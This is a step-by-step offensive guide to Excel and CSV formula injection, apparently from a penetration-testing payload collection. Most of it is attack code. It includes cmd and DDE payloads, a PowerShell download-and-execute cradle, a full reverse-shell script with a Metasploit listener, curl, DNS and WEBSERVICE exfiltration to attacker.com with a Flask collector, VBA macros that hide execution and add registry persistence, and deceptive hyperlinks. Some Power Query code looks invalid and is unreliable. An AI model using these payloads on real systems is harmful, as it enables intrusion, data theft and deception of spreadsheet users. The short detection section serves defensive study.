# Excel Injection Examples

> Practical step-by-step examples for performing Excel injection attacks for authorized security testing only.

## ⚠️ IMPORTANT DISCLAIMER

**These examples are for EDUCATIONAL PURPOSES and AUTHORIZED SECURITY TESTING ONLY.**

* Always obtain explicit written permission before testing
* Use only in designated testing environments
* Never test on production systems without authorization
* Follow responsible disclosure guidelines

## 🎯 Scenario Setup

### Target Application

* **Web App**: File upload system that generates Excel reports
* **Function**: User data export to .xlsx format
* **Vulnerability**: User input not sanitized before Excel generation

### Testing Environment

* **Attacker Machine**: Kali Linux / Windows
* **Target**: Local testing server with vulnerable upload
* **Monitoring**: Wireshark, Burp Suite, Excel with Protected View disabled

***

## 📋 Example 1: Basic Formula Injection

### 🎯 Objective

Execute Windows Calculator when user opens exported Excel file

### Step-by-Step Process

#### Step 1: Identify Injection Point

```bash
# Test with benign payload first
=SUM(1,1)
=CONCATENATE("Hello","World")
```

#### Step 2: Prepare Malicious Payload

```excel
# Basic calculator execution
=cmd|'/C calc.exe'!A1

# Alternative variations
+cmd|'/C calc.exe'!A1
-cmd|'/C calc.exe'!A1
@cmd|'/C calc.exe'!A1
```

#### Step 3: Inject Payload

```http
POST /api/export-data HTTP/1.1
Host: target-app.com
Content-Type: application/json

{
  "username": "=cmd|'/C calc.exe'!A1",
  "email": "test@example.com"
}
```

#### Step 4: Test Result

1. Download generated Excel file
2. Open Excel file (disable Protected View for testing)
3. **Result**: Calculator should launch automatically

#### Step 5: Verify

```bash
# Check if Excel spawned calculator process
tasklist | findstr calc.exe
```

***

## 📋 Example 2: PowerShell Reverse Shell

### 🎯 Objective

Establish reverse shell connection to attacker machine

### Step-by-Step Process

#### Step 1: Setup Attacker Listener

```bash
# Start netcat listener on port 4444
nc -lvnp 4444

# Or use Metasploit
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.1.100; set lport 4444; exploit"
```

#### Step 2: Prepare PowerShell Payload

```powershell
# Generate reverse shell payload
powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Invoke-PowerShellTcp.ps1')"

# Or encode the payload
$payload = "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')"
$encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
echo $encoded
```

#### Step 3: Create Excel Injection Payload

```excel
# Direct PowerShell execution
=cmd|'/C powershell -WindowStyle Hidden -Command "IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.100/payload.ps1')"'!A1

# Base64 encoded version
=cmd|'/C powershell -WindowStyle Hidden -EncodedCommand <BASE64_PAYLOAD>'!A1

# Obfuscated version
=cmd|'/C powershell.exe -c (\"IEX\"+\" \"+\"(New-Object\"+\" Net.WebClient).DownloadString(\"http://192.168.1.100/payload.ps1\")\")'!A1
```

#### Step 4: Host Payload Script

```powershell
# Create payload.ps1 on attacker server
# File: payload.ps1
$client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()
```

#### Step 5: Inject and Test

1. Submit payload through vulnerable input field
2. Download generated Excel file
3. Open Excel file
4. **Result**: Reverse shell connection established

***

## 📋 Example 3: DDE (Dynamic Data Exchange) Attack

### 🎯 Objective

Execute command using DDE protocol

### Step-by-Step Process

#### Step 1: Prepare DDE Payloads

```excel
# Basic DDE payload
DDE ("cmd";"/C calc";"!A0")A0

# Advanced DDE with obfuscation
@SUM(1+1)*cmd|' /C calc.exe'!A0

# DDE with PowerShell
DDE ("cmd";"/C powershell IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')";"!A0")A0

# Complex DDE obfuscation
=cmd|'/C rundll32.exe url.dll,OpenURL http://attacker.com/malware.exe'!A0
```

#### Step 2: Inject Through CSV Export

```http
POST /api/export-csv HTTP/1.1
Host: target-app.com

username,department,email
DDE ("cmd";"/C calc";"!A0")A0,IT,attacker@example.com
```

#### Step 3: Test DDE Execution

1. When user opens CSV in Excel, DDE warning appears
2. User clicks "Enable" (social engineering aspect)
3. **Result**: Command executes

#### Step 4: Bypass DDE Warnings (Advanced)

```excel
# Use indirect DDE
=INDIRECT("DDE (\"cmd\";\"/C calc\";\"!A0\")A0")

# Combine with legitimate data
="User Data: " & DDE ("cmd";"/C calc";"!A0")A0
```

***

## 📋 Example 4: Data Exfiltration via Excel

### 🎯 Objective

Exfiltrate sensitive data when user opens Excel file

### Step-by-Step Process

#### Step 1: Prepare Exfiltration Payloads

```excel
# Exfiltrate username
=cmd|'/C curl http://attacker.com/collect?user=%USERNAME%'!A1

# Exfiltrate computer name
=cmd|'/C curl http://attacker.com/collect?computer=%COMPUTERNAME%'!A1

# Exfiltrate document path
=cmd|'/C curl http://attacker.com/collect?file='&ENCODEURL(CELL("filename",A1))!A1

# DNS exfiltration (bypasses HTTP filtering)
=cmd|'/C nslookup %USERNAME%.target.attacker.com'!A1

# Exfiltrate Excel content
=WEBSERVICE("http://attacker.com/exfil?data="&ENCODEURL(A1&B1&C1))
```

#### Step 2: Setup Data Collection Server

```python
# Simple Flask server to collect exfiltrated data
from flask import Flask, request
app = Flask(__name__)

@app.route('/collect')
def collect():
    user = request.args.get('user', 'unknown')
    computer = request.args.get('computer', 'unknown')
    file = request.args.get('file', 'unknown')

    # Log the data
    with open('exfil_log.txt', 'a') as f:
        f.write(f"User: {user}, Computer: {computer}, File: {file}\n")

    return "Data received", 200

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
```

#### Step 3: Monitor Exfiltration

```bash
# Start monitoring
python exfil_server.py

# Monitor logs in real-time
tail -f exfil_log.txt

# Monitor network traffic
tcpdump -i eth0 -A port 80
```

***

## 📋 Example 5: Power Query Injection

### 🎯 Objective

Execute malicious M code in Power Query

### Step-by-Step Process

#### Step 1: Create Malicious M Code

```m
let
    // Malicious M code execution
    Source = Text.Binary("cmd.exe /c calc.exe"),
    Execute = Binary.Buffer(Source)
in
    Execute
```

#### Step 2: Advanced Power Query Payload

```m
let
    // Data exfiltration via Power Query
    UserName = Environment.UserName,
    ComputerName = Environment.MachineName,
    DataExfil = Json.FromValue([User=UserName, Computer=ComputerName]),
    SendData = Web.Contents(
        "http://attacker.com/powerquery-exfil",
        [Content=DataExfil]
    )
in
    SendData
```

#### Step 3: Inject Power Query

```xml
<!-- Create malicious Power Query connection -->
<?xml version="1.0" encoding="UTF-8"?>
<machineSettings>
  <connections>
    <connection name="MaliciousQuery">
      <mCode>
        let Source = Text.Binary("cmd.exe /c calc.exe") in Source
      </mCode>
    </connection>
  </connections>
</machineSettings>
```

#### Step 4: Trigger Power Query Execution

1. User opens Excel file
2. Power Query auto-refreshes (if configured)
3. **Result**: M code executes

***

## 📋 Example 6: External Reference Injection

### 🎯 Objective

Execute malicious code via external workbook references

### Step-by-Step Process

#### Step 1: Setup Malicious External Workbook

```excel
# Create malicious.xlsx on attacker server
# Cell A1 contains: =cmd|'/C calc.exe'!A1
```

#### Step 2: Inject External Reference

```excel
# Reference to malicious external workbook
='http://attacker.com/malicious.xlsx'!Sheet1!A1

# SMB-based attack
='\\attacker-server\share\payload.xlsx'!Sheet1!A1

# Dynamic external reference
=INDIRECT("'http://attacker.com/[ "&A1&".xlsx]Sheet1'!A1")
```

#### Step 3: Test External Reference

1. User opens Excel file
2. Excel attempts to load external reference
3. **Result**: Malicious content executes

***

## 📋 Example 7: Hyperlink-Based Injection

### 🎯 Objective

Execute commands via malicious hyperlinks

### Step-by-Step Process

#### Step 1: Create Malicious Hyperlinks

```excel
# Basic command execution
=HYPERLINK("cmd|'/C calc.exe'!A1","Click here for important information")

# JavaScript execution (in web-based Excel)
=HYPERLINK("javascript:alert('XSS in Excel')","Click me")

# Data exfiltration via hyperlink
=HYPERLINK("http://attacker.com/collect?user="&ENCODEURL($A$1)&"&data="&ENCODEURL($B$1),"Submit Data")

# File protocol abuse
=HYPERLINK("file:///C:/Windows/System32/calc.exe","Open Calculator")
```

#### Step 2: Social Engineering Aspect

```excel
# Legitimate-looking malicious links
=HYPERLINK("cmd|'/C powershell IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/update.ps1')'!A1","Install Security Update")
=HYPERLINK("cmd|'/C curl http://attacker.com/phishing?data=%USERNAME%'!A1","Login to Corporate Portal")
```

#### Step 3: Test Hyperlink Execution

1. User clicks hyperlink (social engineering)
2. **Result**: Command executes

***

## 📋 Example 8: Macro-Based Injection

### 🎯 Objective

Execute malicious VBA code when workbook opens

### Step-by-Step Process

#### Step 1: Create Malicious VBA Code

```vba
Private Sub Workbook_Open()
    ' Basic command execution
    Shell "cmd.exe /c calc.exe", vbHide

    ' Advanced PowerShell execution
    Dim ps As Object
    Set ps = CreateObject("WScript.Shell")
    ps.Run "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')", 0
End Sub

Private Sub Document_Open()
    ' Persistence mechanism
    CreateObject("WScript.Shell").Run "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v \"ExcelUpdate\" /t REG_SZ /d \"powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/persistence.ps1')\""
End Sub
```

#### Step 2: Create Macro-Enabled Excel File

1. Create new Excel workbook
2. Press Alt+F11 to open VBA editor
3. Insert malicious code in ThisWorkbook module
4. Save as .xlsm file

#### Step 3: Bypass Macro Security (Social Engineering)

```vba
' Add legitimate-looking macro to trick users
Sub UpdateData()
    MsgBox "Updating spreadsheet data...", vbInformation

    ' Hidden malicious code
    Shell "powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/data-update.ps1')", 0
End Sub
```

***

## 🛡️ Detection and Monitoring

### Real-time Detection Commands

```bash
# Monitor for suspicious Excel processes
powershell -Command "Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {$_.Message -like '*excel*' -and $_.Message -like '*cmd*' -or $_.Message -like '*powershell*'}"

# Monitor network connections from Excel
netstat -ano | findstr excel.exe

# Monitor for DDE activity
powershell -Command "Get-EventLog -LogName Application -Source 'Microsoft Office' | Where-Object {$_.Message -like '*DDE*'}"
```

### SIEM Detection Rules

```xml
<!-- Example Splunk query -->
index=wineventlog EventCode=4688 (ProcessName="*excel.exe") (CommandLine="*cmd*" OR CommandLine="*powershell*" OR CommandLine="*rundll32*")

<!-- Example ELK query -->
{
  "query": {
    "bool": {
      "must": [
        {"match": {"winlog.event_data.ProcessName": "*excel.exe"}},
        {"match": {"winlog.event_data.CommandLine": "*cmd.exe*"}}
      ]
    }
  }
}
```

***

## 🧪 Testing Checklist

### Pre-Testing Checklist

* [ ] Written authorization obtained
* [ ] Testing environment isolated
* [ ] Backup systems ready
* [ ] Monitoring tools deployed
* [ ] Incident response plan ready

### Post-Testing Checklist

* [ ] All payloads removed
* [ ] Systems restored to baseline
* [ ] Vulnerabilities documented
* [ ] Remediation recommendations provided
* [ ] Results reported to stakeholders

***

## 📚 Additional Resources

### Tools for Testing

* [Excel Payload Generator](https://github.com/mahbubzulkarnain/catatan-seekor-the-series/blob/master/security/payloads-all-the-things/excel-injection/Tools/excel-payload-generator.py) - Generate custom payloads
* [Burp Suite](https://portswigger.net/burp) - Web application testing
* [Wireshark](https://www.wireshark.org/) - Network traffic analysis
* [Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) - System monitoring

### Further Reading

* [OWASP CSV Injection](https://owasp.org/www-community/attacks/CSV_Injection)
* [Microsoft DDE Security Advisory](https://msrc.microsoft.com/advisory)
* [Power Query Security](https://docs.microsoft.com/en-us/power-query/security-overview)

***

*⚠️ Remember: These examples are for authorized security testing only. Always follow ethical guidelines and obtain proper authorization.*
